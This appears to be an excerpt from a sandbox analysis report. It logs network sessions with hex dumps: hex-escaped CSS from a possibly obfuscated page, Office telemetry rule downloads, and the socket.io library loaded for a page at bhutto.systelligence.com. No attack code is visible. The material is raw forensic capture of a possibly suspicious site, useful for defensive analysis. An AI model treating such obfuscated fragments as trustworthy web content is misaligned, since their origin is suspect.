5c 78 32 30 31 30 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 Data Ascii: 20\x20\x20\x20\x20\x20background-size:\x20cover,\x20cover;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20.overlay\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20position:\x20absolute;\x0a\x20\x20\x20\x20\x20\x20\x20\x20z-index:\x2010;\x0a\x20\x20\x
2024-11-07 22:47:27 UTC	1369	IN	Data Raw: 78 32 30 30 5c 78 32 30 32 70 78 5c 78 32 30 33 70 78 5c 78 32 30 72 67 62 28 30 5c 78 32 30 30 5c 78 32 30 30 5c 78 32 30 2f 5c 78 32 30 32 35 25 29 3b 5c 78 32 30 2a 2f 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7a 2d 69 6e 64 65 78 3a 5c 78 32 30 31 30 30 30 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6f 76 65 72 66 6c 6f 77 3a 5c 78 32 30 68 69 64 64 65 6e 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 2e 67 72 61 79 42 6f 78 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 Data Ascii: x200\x202px\x203px\x20rgb(0\x200\x200\x20/\x2025%);\x20*/\x0a\x20\x20\x20\x20\x20\x20\x20\x20z-index:\x201000;\x0a\x20\x20\x20\x20\x20\x20\x20\x20overflow:\x20hidden;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20.grayBox\x20{\x0a\x20\x20\x2
2024-11-07 22:47:27 UTC	1369	IN	Data Raw: 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 77 69 64 74 68 3a 5c 78 32 30 31 30 30 25 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 64 69 73 70 6c 61 79 3a 5c 78 32 30 66 6c 65 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6a 75 73 74 69 66 79 2d 69 74 65 6d 73 3a 5c 78 32 30 66 6c 65 78 2d 73 74 61 72 74 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 5c 78 32 30 30 25 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 62 Data Ascii: 0\x20\x20\x20\x20\x20\x20\x20width:\x20100%;\x0a\x20\x20\x20\x20\x20\x20\x20\x20display:\x20flex;\x0a\x20\x20\x20\x20\x20\x20\x20\x20justify-items:\x20flex-start;\x0a\x20\x20\x20\x20\x20\x20\x20\x20padding-left:\x200%;\x0a\x20\x20\x20\x20\x20\x20\x20\x20b
2024-11-07 22:47:27 UTC	1369	IN	Data Raw: 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6d 61 72 67 69 6e 2d 74 6f 70 3a 5c 78 32 30 31 30 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 5c 78 32 30 31 30 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6d 61 78 2d 77 69 64 74 68 3a 5c 78 32 30 32 38 30 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6d 61 78 2d 68 65 69 67 68 74 3a 5c 78 32 30 34 30 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c Data Ascii: 20\x20\x20\x20\x20\x20\x20margin-top:\x2010px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20margin-bottom:\x2010px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20max-width:\x20280px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20max-height:\x2040px;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:27 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:27 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:27 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 05 Nov 2024 17:40:36 GMT ETag: "0x8DCFDC0F4F27BCD" x-ms-request-id: 991f3130-801e-00a0-27ce-2f2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224727Z-17df447cdb5c9wvxhC1DFWn08n000000056g00000000ebz2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:27 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-07 22:47:27 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-07 22:47:27 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-07 22:47:27 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-07 22:47:27 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-07 22:47:27 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-07 22:47:27 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-07 22:47:27 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-07 22:47:27 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-07 22:47:27 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49740	18.245.31.33	443	5704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:27 UTC	582	OUT	GET /4.7.5/socket.io.min.js HTTP/1.1 Host: cdn.socket.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://bhutto.systelligence.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://bhutto.systelligence.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 22:47:28 UTC	702	IN	HTTP/1.1 200 OK Content-Type: application/javascript; charset=utf-8 Content-Length: 49993 Connection: close Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000, immutable Content-Disposition: inline; filename="socket.io.min.js" Date: Sat, 03 Aug 2024 07:26:50 GMT ETag: "777eb8fd4f8320b6e5cc9a7159bdec6a" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Vercel-Cache: HIT X-Vercel-Id: fra1::4xmtd-1722670010047-e30d468233ba X-Cache: Hit from cloudfront Via: 1.1 383422f03bfc9d77974d0ac637421c22.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 X-Amz-Cf-Id: eq6jI1Ey0eMTv7ROHhx7M8qNOznZ8ku6y1dqsBgMwThCAMlde97HFQ== Age: 8727038
2024-11-07 22:47:28 UTC	15682	IN	Data Raw: 2f 2a 21 0a 20 2a 20 53 6f 63 6b 65 74 2e 49 4f 20 76 34 2e 37 2e 35 0a 20 2a 20 28 63 29 20 32 30 31 34 2d 32 30 32 34 20 47 75 69 6c 6c 65 72 6d 6f 20 52 61 75 63 68 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 2e 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 74 29 3a 28 65 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 Data Ascii: /! Socket.IO v4.7.5 * (c) 2014-2024 Guillermo Rauch * Released under the MIT License. */!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof g
2024-11-07 22:47:28 UTC	16384	IN	Data Raw: 64 20 74 68 69 73 2e 73 65 74 54 69 6d 65 6f 75 74 46 6e 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 6f 6e 45 72 72 6f 72 28 65 29 7d 29 2c 30 29 7d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 26 26 28 74 68 69 73 2e 69 6e 64 65 78 3d 69 2e 72 65 71 75 65 73 74 73 43 6f 75 6e 74 2b 2b 2c 69 2e 72 65 71 75 65 73 74 73 5b 74 68 69 73 2e 69 6e 64 65 78 5d 3d 74 68 69 73 29 7d 7d 2c 7b 6b 65 79 3a 22 6f 6e 45 72 72 6f 72 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 65 6d 69 74 52 65 73 65 72 76 65 64 28 22 65 72 72 6f 72 22 2c 65 2c 74 68 69 73 2e 78 68 72 29 2c 74 68 69 73 2e 63 6c 65 61 6e 75 70 28 21 30 29 7d 7d 2c 7b 6b 65 79 3a 22 63 6c 65 61 6e 75 70 22 2c 76 61 6c 75 65 3a 66 75 6e Data Ascii: d this.setTimeoutFn((function(){t.onError(e)}),0)}"undefined"!=typeof document&&(this.index=i.requestsCount++,i.requests[this.index]=this)}},{key:"onError",value:function(e){this.emitReserved("error",e,this.xhr),this.cleanup(!0)}},{key:"cleanup",value:fun
2024-11-07 22:47:28 UTC	16384	IN	Data Raw: 65 2e 64 61 74 61 2c 69 64 3a 65 2e 69 64 7d 29 7d 7d 2c 7b 6b 65 79 3a 22 65 6e 63 6f 64 65 41 73 53 74 72 69 6e 67 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 22 2b 65 2e 74 79 70 65 3b 72 65 74 75 72 6e 20 65 2e 74 79 70 65 21 3d 3d 42 65 2e 42 49 4e 41 52 59 5f 45 56 45 4e 54 26 26 65 2e 74 79 70 65 21 3d 3d 42 65 2e 42 49 4e 41 52 59 5f 41 43 4b 7c 7c 28 74 2b 3d 65 2e 61 74 74 61 63 68 6d 65 6e 74 73 2b 22 2d 22 29 2c 65 2e 6e 73 70 26 26 22 2f 22 21 3d 3d 65 2e 6e 73 70 26 26 28 74 2b 3d 65 2e 6e 73 70 2b 22 2c 22 29 2c 6e 75 6c 6c 21 3d 65 2e 69 64 26 26 28 74 2b 3d 65 2e 69 64 29 2c 6e 75 6c 6c 21 3d 65 2e 64 61 74 61 26 26 28 74 2b 3d 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 65 2e 64 61 74 61 2c 74 68 69 Data Ascii: e.data,id:e.id})}},{key:"encodeAsString",value:function(e){var t=""+e.type;return e.type!==Be.BINARY_EVENT&&e.type!==Be.BINARY_ACK\|\|(t+=e.attachments+"-"),e.nsp&&"/"!==e.nsp&&(t+=e.nsp+","),null!=e.id&&(t+=e.id),null!=e.data&&(t+=JSON.stringify(e.data,thi
2024-11-07 22:47:28 UTC	1543	IN	Data Raw: 65 74 54 69 6d 65 6f 75 74 46 6e 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 73 6b 69 70 52 65 63 6f 6e 6e 65 63 74 7c 7c 28 65 2e 65 6d 69 74 52 65 73 65 72 76 65 64 28 22 72 65 63 6f 6e 6e 65 63 74 5f 61 74 74 65 6d 70 74 22 2c 74 2e 62 61 63 6b 6f 66 66 2e 61 74 74 65 6d 70 74 73 29 2c 74 2e 73 6b 69 70 52 65 63 6f 6e 6e 65 63 74 7c 7c 74 2e 6f 70 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6e 3f 28 74 2e 5f 72 65 63 6f 6e 6e 65 63 74 69 6e 67 3d 21 31 2c 74 2e 72 65 63 6f 6e 6e 65 63 74 28 29 2c 65 2e 65 6d 69 74 52 65 73 65 72 76 65 64 28 22 72 65 63 6f 6e 6e 65 63 74 5f 65 72 72 6f 72 22 2c 6e 29 29 3a 74 2e 6f 6e 72 65 63 6f 6e 6e 65 63 74 28 29 7d 29 29 29 7d 29 2c 6e 29 3b 74 68 69 73 2e 6f 70 74 73 2e 61 75 74 6f 55 6e 72 65 66 26 26 72 2e Data Ascii: etTimeoutFn((function(){t.skipReconnect\|\|(e.emitReserved("reconnect_attempt",t.backoff.attempts),t.skipReconnect\|\|t.open((function(n){n?(t._reconnecting=!1,t.reconnect(),e.emitReserved("reconnect_error",n)):t.onreconnect()})))}),n);this.opts.autoUnref&&r.

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:28 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:28 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:28 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: be525922-801e-00a0-03ff-2c2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224728Z-16547b76f7fxdzxghC1DFWmf7n00000008vg00000000gqqa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
